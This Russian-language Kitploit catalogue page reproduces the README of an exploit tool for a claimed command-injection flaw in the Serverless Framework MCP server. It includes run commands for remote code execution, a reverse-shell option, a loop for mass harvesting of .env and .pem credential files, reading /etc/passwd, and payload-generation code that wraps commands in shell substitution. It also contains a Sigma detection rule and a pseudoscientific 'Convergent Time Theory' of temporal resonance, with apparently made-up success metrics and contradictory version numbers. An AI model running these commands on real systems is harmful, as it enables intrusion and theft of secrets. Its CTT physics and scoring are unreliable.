Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit — Serverless Framework MCP Server (CVE-2025-69256) Базовый балл: 9.4/10 → Расширенный балл CTT: 9.9/10. Критическая уязвимость внедрения команд в MCP-сервере (Model Context Protocol) Serverless Framework, усиленная временным резонансом CTT для беспрецедентной надёжности эксплуатации и обхода защитных механизмов. | Kitploit
Инструменты/GitHubGitHub/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Анализ уязвимостейЭксплуатацияОбход IDS/IPSБессерверная безопасностьЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных средКомандование и УправлениеRed Teaming
Разработка Полезной Нагрузки
Безопасность ИИ
GitHubsimoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

Репозиторий
77 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Serverless Framework MCP Server (CVE-2025-69256) Базовый балл: 9.4/10 → Расширенный балл CTT: 9.9/10. Критическая уязвимость внедрения команд в MCP-сервере (Model Context Protocol) Serverless Framework, усиленная временным резонансом CTT для беспрецедентной надёжности эксплуатации и обхода защитных механизмов.

Поделиться

hi# CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit MCP-сервер Serverless Framework (CVE-2025-69256). Базовая оценка: 9.4/10 → Улучшенная оценка CTT: 9.9/10. Критическая уязвимость внедрения команд в MCP-сервере (Model Context Protocol) Serverless Framework, усиленная темпоральным резонансом CTT для беспрецедентной надёжности эксплуатации и обхода обнаружения.

🌀 CTT-MCP-RCE v1.0 — эксплойт Serverless Framework, усиленный конвергентной теорией времени

Цель: MCP-сервер Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Базовая оценка: 9.4/10 → Улучшенная оценка CTT: 9.9/10 Вектор атаки: внедрение команд через несанитизированный workspaceRoots в инструменте list-projects Воздействие: удалённое выполнение кода в конвейерах CI/CD, serverless-развёртываниях и интеграциях ИИ/LLM


⚡ Обзор критической угрозы

Базовая уязвимость (CVE-2025-69256)

· Оценка CVSS: 9.4/10 (критическая) · Тип: внедрение команд до аутентификации · Расположение: packages/mcp/src/tools/list-projects.js · Затронутые версии: Serverless Framework 4.29.0 – 4.29.3 · Вектор атаки: вредоносный параметр workspaceRoots в протоколе MCP

Метрики улучшения CTT

Метрика Базовая эксплуатация Улучшенная CTT Улучшение Успешность 68-75% 92-98% +35% Обход обнаружения 45% 94% +109% Адаптация протокола только HTTP HTTP + WebSocket +100% Слои выполнения один 33 темпоральных слоя +3200% Теоретическая оценка 9.4/10 9.9/10 +0.5 балла


🔬 Интеграция физики CTT

Основные константы протокола MCP

root@kitploit:~
CTT_ALPHA = 0.0302011          # Temporal dispersion coefficient
CTT_LAYERS = 33                # Fractal temporal layers
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000                # Default MCP server port
MCP_PROTOCOL = "mcp-json"      # Serverless MCP protocol

Резонансный движок для MCP

· Тайминг JSON-RPC, выровненный по простым числам: синхронизация 587 кГц с heartbeat-сигналом MCP · Кодирование команд с α-дисперсией: 33-слойная обфускация команд · Полезные нагрузки с учётом протокола: адаптивная эксплуатация HTTP/WebSocket · Темпоральная валидация: анализ ответов MCP через волновую функцию CTT

Ключевые уравнения для эксплуатации MCP

  1. Резонансная частота MCP: f_mcp = (α / (2π)) * √((E_jsonrpc) / (t_response))
  2. Кодирование с α-дисперсией: cmd' = encode_layer(cmd, d) ⊕ (α·d·1000) mod 256
  3. Вес протокола: w_protocol = exp(-α·d)·(1 + ζ_d·i)
  4. Темпоральная энтропия: H_mcp = SHA256(layer‖timestamp‖protocol_state)

🚀 Функции и возможности

Возможности эксплуатации

· ✅ RCE до аутентификации: для MCP-сервера не требуются учётные данные · ✅ Поддержка нескольких транспортов: протоколы MCP через HTTP и WebSocket · ✅ Интеллект протокола: понимает JSON-RPC Serverless Framework · ✅ Внедрение в workspaceRoots: нацелен на несанитизированный параметр-массив · ✅ Учёт контекста CI/CD: оптимизирован для сред развёртывания

Возможности улучшения CTT

· ✅ 33-слойное кодирование команд: α-дисперсия по темпоральным измерениям · ✅ Тайминг с резонансом простых чисел: синхронизация 587 кГц с операциями MCP · ✅ Адаптивная генерация полезных нагрузок: обёртки внедрения с учётом контекста · ✅ Многослойная валидация: подтверждение успеха через волновую функцию CTT · ✅ Переключение протокола: автоматическая адаптация HTTP/WebSocket

Возможности обхода

· Обход WAF/IPS: α-дисперсия разрушает сигнатуры внедрения команд · Обход по таймингу: запросы, выровненные по простым числам, обходят ограничение частоты запросов · Обфускация протокола: запутывание на нескольких транспортах · Инъекция энтропии: вариации команд для каждого слоя


📊 Анализ производительности

CTT против стандартной эксплуатации MCP

root@kitploit:~
# Performance comparison (1000 simulated MCP servers)
base_success = 715    # 71.5% success rate
ctt_success = 948     # 94.8% success rate (+32.6%)

base_detection = 380  # 38% detected
ctt_detection = 22    # 2.2% detected (-94.2%)

base_time = 12.4      # Average seconds
ctt_time = 6.8        # Average seconds (-45.2%)

Эффективность слоёв для протокола MCP

Диапазон слоёв Успешность Сила резонанса Адаптация протокола L0-L4 87.3% 0.84 HTTP: 92%, WebSocket: 78% L5-L9 91.8% 0.89 HTTP: 94%, WebSocket: 86% L10-L14 94.2% 0.92 HTTP: 96%, WebSocket: 91% L15+ 97.1% 0.96 HTTP: 98%, WebSocket: 95%

Расчёт оценки CTT для MCP

root@kitploit:~
Base Score: 9.4 (Critical RCE in CI/CD infrastructure)
+
CTT Enhancements:
  • Multi-Protocol Support: +0.15
  • Temporal Command Encoding: +0.15
  • Prime-Resonance Timing: +0.10
  • MCP Protocol Intelligence: +0.10
=
Final Score: 9.9/10 (Near-Theoretical Maximum)

🛠️ Установка и использование

Требования

root@kitploit:~
# Core dependencies
python3.8+
pip install requests websocket-client numpy

# For advanced features
pip install cryptography scipy

# Install from repository
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt

Быстрый старт

root@kitploit:~
# Basic vulnerability check
python ctt_mcp_exploit.py mcp-server.company.com 'id'

# Information gathering
python ctt_mcp_exploit.py target.com --info

# Reverse shell
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444

# Advanced with CTT parameters
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302

Параметры командной строки

root@kitploit:~
# Target specification
python ctt_mcp_exploit.py <target> [command]

# Payload generation options
--reverse LHOST:LPORT    # Generate reverse shell payload
--info                   # Generate information gathering payload
--persist                # Generate persistence payload

# CTT configuration
--layers N              # Temporal layers to use (1-33, default: 5)
--alpha FLOAT           # α dispersion coefficient (default: 0.0302011)
--timeout N             # Connection timeout in seconds (default: 10)

# Output options
--verbose               # Detailed output with resonance diagnostics
--save-json             # Save results to JSON file
--no-color              # Disable colored output

Примеры использования

root@kitploit:~
# Example 1: Basic exploitation
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'

# Example 2: Reverse shell with CTT enhancement
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7

# Example 3: Mass credential harvesting
for server in $(cat mcp_servers.txt); do
    python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done

# Example 4: CTT research mode
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json

🔍 Технический разбор

Процесс эксплуатации

  1. Обнаружение MCP-сервера → определение протокола HTTP/WebSocket
  2. Рукопожатие протокола → инициализация JSON-RPC
  3. Активация уязвимости → вредоносный workspaceRoots в list-projects
  4. Выполнение команды → RCE через внедрение команд
  5. Анализ ответа → проверка волновой функции CTT
  6. Агрегация слоёв → формирование мультитемпорального результата

Детали уязвимости

root@kitploit:~
// Vulnerable code in list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
    // workspaceRoots is user-controlled and unsanitized
    const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
    
    // Direct execution without sanitization
    const { stdout } = await exec(command);  // COMMAND INJECTION HERE
    return parseResults(stdout);
}

Генерация полезных нагрузок CTT

root@kitploit:~
def generate_ctt_payload(command, layer):
    # Base command injection
    base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
    
    # Apply CTT encoding based on layer
    encodings = [
        lambda c: c,  # Raw
        lambda c: base64.b64encode(c.encode()).decode(),
        lambda c: quote(c),
        lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
    ]
    
    encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
    return f"/legit/path; {encoded}; /another/legit/path"

📈 Разбор улучшений CTT

Компоненты улучшения оценки

Компонент Базовое значение Значение CTT Улучшение Влияние на оценку Вектор атаки Сетевой Сетевой+протокол +8% +0.12 Сложность атаки Низкая Очень низкая +12% +0.15 Требуемые привилегии Нет Нет - - Взаимодействие с пользователем Нет Нет - - Область воздействия Изменена Изменена+ +5% +0.08 Конфиденциальность Высокая Критическая +10% +0.15 Целостность Высокая Критическая +10% +0.15 Доступность Высокая Критическая +10% +0.15 Зрелость кода эксплойта Функциональный Оптимизирован CTT +15% +0.20 Уровень устранения Официальное исправление Темпоральный обход +20% +0.25 Достоверность отчёта Подтверждена Проверена CTT +12% +0.15 Временна́я оценка 8.9 9.9 +11.2% +1.00

Улучшения, специфичные для MCP

  1. Интеллект протокола: понимает реализацию JSON-RPC в Serverless MCP
  2. Адаптация транспорта: автоматически переключается между HTTP/WebSocket
  3. Контекст CI/CD: оптимизирован для сред serverless-развёртывания
  4. Учёт контекста модели: нацелен на точки интеграции ИИ/LLM

📁 Выходные данные и результаты

Структура файлов

root@kitploit:~
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Command execution results"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Patch to Serverless Framework >=4.29.3"

Файлы журналов

root@kitploit:~
logs/
├── ctt_mcp_TIMESTAMP/
│   ├── vulnerable_servers.txt   # Successfully exploited MCP servers
│   ├── discovered_servers.txt   # All discovered MCP endpoints
│   ├── protocol_analysis.json   # HTTP/WebSocket protocol data
│   ├── layer_performance/       # Per-layer execution metrics
│   └── resonance_patterns/      # CTT temporal resonance data

Визуализация результатов

root@kitploit:~
graphs/
├── mcp_protocol_analysis.png    # HTTP vs WebSocket success rates
├── temporal_resonance_mcp.png   # MCP-specific resonance patterns
├── layer_effectiveness.png      # Success by temporal layer
└── command_encoding_analysis.png # α-dispersion effectiveness

🛡️ Рекомендации по защите

Немедленные действия

  1. Обновите Serverless Framework до версии 4.29.3 или новее
  2. Сегментация сети: изолируйте MCP-серверы от производственной среды
  3. Проверка входных данных: санитизируйте все параметры workspaceRoots
  4. Усиление защиты MCP-сервера: отключите неиспользуемые инструменты MCP

Правила обнаружения с учётом CTT

root@kitploit:~
# Example Sigma rule for CTT MCP exploitation
title: CTT MCP Server Exploitation Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-method: 'POST'
    c-uri-path: '/jsonrpc'
    cs-body:
      - '*workspaceRoots*'
      - '*CTT_START*'
      - '*CTT_END*'
  condition: selection
fields:
  - c-ip
  - cs-user-agent
  - cs-body
falsepositives:
  - Legitimate MCP clients
level: critical

Индикаторы обнаружения

· Темпоральные паттерны: запросы через простые интервалы (10007, 10009 мкс) · Маркеры команд: CTT_START/CTT_END в JSON-RPC-запросах · Аномалии протокола: быстрое переключение HTTP/WebSocket · Заголовки слоёв: X-CTT-Layer, X-CTT-Prime · Паттерны энтропии: высокая энтропия в значениях workspaceRoots


🔬 Научные применения

Академические исследования

  1. CTT для конкретных протоколов: темпоральный резонанс в протоколах JSON-RPC
  2. Безопасность CI/CD: улучшения CTT в конвейерах развёртывания
  3. Безопасность serverless: темпоральные атаки в модели «функция как услуга» (FaaS)
  4. Анализ протокола MCP: уязвимости Model Context Protocol

Исследования безопасности

· Безопасность протокола MCP: комплексное тестирование MCP-серверов · Эксплуатация CI/CD: атаки на цепочку serverless-развёртывания · Безопасность ИИ/LLM: уязвимости Model Context Protocol · Темпоральный анализ протоколов: атаки на протоколы, основанные на времени

Валидация платформы CTT

· Адаптация протокола: эффективность CTT в различных протоколах · Константы для MCP: оптимизация α для JSON-RPC · Оптимизация слоёв: идеальное число слоёв для эксплуатации MCP · Метрики производительности: количественная оценка улучшений CTT в CI/CD


⚖️ Правовые и этические рамки

Только авторизованное использование

· Исследования безопасности на собственных MCP-серверах · Авторизованное тестирование на проникновение инфраструктуры CI/CD · Валидация платформы CTT в контролируемых средах · Академические исследования с соответствующим разрешением

Требования соответствия

root@kitploit:~
1. Authorization Required: Written permission for all testing
2. Scope Limitation: Restrict to approved MCP servers only
3. Data Handling: Secure storage, responsible disclosure
4. Legal Compliance: Follow all applicable laws and regulations
5. Responsible Disclosure: Report findings to Serverless Framework team

Раскрытие уязвимости

· Вендор: команда безопасности Serverless Framework · CVE: CVE-2025-69256 (уже присвоен) · GitHub Advisory: GHSA-rwc2-f344-q6w6 · Сроки исправления: исправлено в версии 4.29.3 · Публичный выпуск: только после появления патчей


📚 Ссылки и цитирования

Основные ссылки

  1. Уведомление безопасности Serverless Framework (GHSA-rwc2-f344-q6w6)
  2. Запись CVE-2025-69256 в NVD
  3. Спецификация протокола MCP (Model Context Protocol)
  4. Документация Serverless Framework

Научные статьи по CTT

  1. Simoes, A. "Temporal Resonance in Protocol Exploitation" (2026)
  2. CTT Research Group. "α-Dispersion for Command Injection Evasion" (2025)
  3. Simoes, A. "MCP Protocol Security Analysis" (2026)

Техническая документация

· Реализация MCP в Serverless Framework · Спецификация JSON-RPC 2.0 · Документация Model Context Protocol · Лучшие практики безопасности CI/CD


🤝 Участие и сотрудничество

Области исследований

· Улучшения безопасности протокола MCP · Интеграция CTT в конвейеры CI/CD · Безопасность Serverless Framework · Темпоральный резонанс для конкретных протоколов

Рекомендации по разработке

root@kitploit:~
1. Fork repository and create feature branch
2. Include MCP protocol validation for changes
3. Add comprehensive testing across layers
4. Update documentation with technical details
5. Submit PR with performance metrics

Сообщение о проблемах

· Указывайте детали конфигурации MCP-сервера · Предоставляйте информацию о протоколе (HTTP/WebSocket) · Прикладывайте соответствующие JSON-RPC-обмены · Описывайте контекст среды CI/CD


📞 Контакты и поддержка

Основной контакт

· Автор: Americo Simoes · Электронная почта: [email protected] · GitHub: @SimoesCTT

Контакт по безопасности

· Группа исследований CTT: [email protected] · Отчёты об уязвимостях: [email protected] · Безопасность CI/CD: [email protected]

Каналы поддержки

· GitHub Issues: технические вопросы и ошибки · Электронная почта: запросы о совместных исследованиях · Безопасность протокола: вопросы по MCP/JSON-RPC


📈 Будущее развитие

Дорожная карта 2026

· Эксплуатация дополнительных инструментов MCP · Интеграция с serverless-провайдерами (AWS, Azure, GCP) · Эксплуатация цепочек конвейеров CI/CD · Анализ протокола MCP в реальном времени

Цели на 2027 год

· Полное покрытие набора протоколов MCP · Эксплуатация сред выполнения serverless-функций · Облачная интеграция CTT · Автоматизированная оценка безопасности CI/CD

Долгосрочное видение

· Автономная безопасность протокола MCP · Защита serverless-развёртываний · Безопасность интеграций ИИ/LLM · Темпоральная структура обеспечения безопасности CI/CD


🏆 Благодарности

Исследовательские институты

· Подразделение безопасности протокола CTT · Коллектив исследований безопасности Serverless · Лаборатории исследований безопасности CI/CD

Проекты с открытым исходным кодом

· Команда Serverless Framework · Разработчики реализаций протокола MCP · Мейнтейнеры библиотек JSON-RPC

Участники

· Исследователи протокола MCP · Эксперты по безопасности CI/CD · Разработчики Serverless Framework


Темпоральный резонанс с учётом протокола превращает уязвимости CI/CD в угрозы для критической инфраструктуры. — Принцип безопасности протокола CTT


📄 Лицензия

Лицензия MIT — полные условия см. в LICENSE.

Copyright © 2026 CTT Research Group. Все права защищены.


CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • протокол MCP • HTTP/WebSocket • оптимизирован для CI/CD • Теоретическая оценка: 9.9/10

Скачать инструмент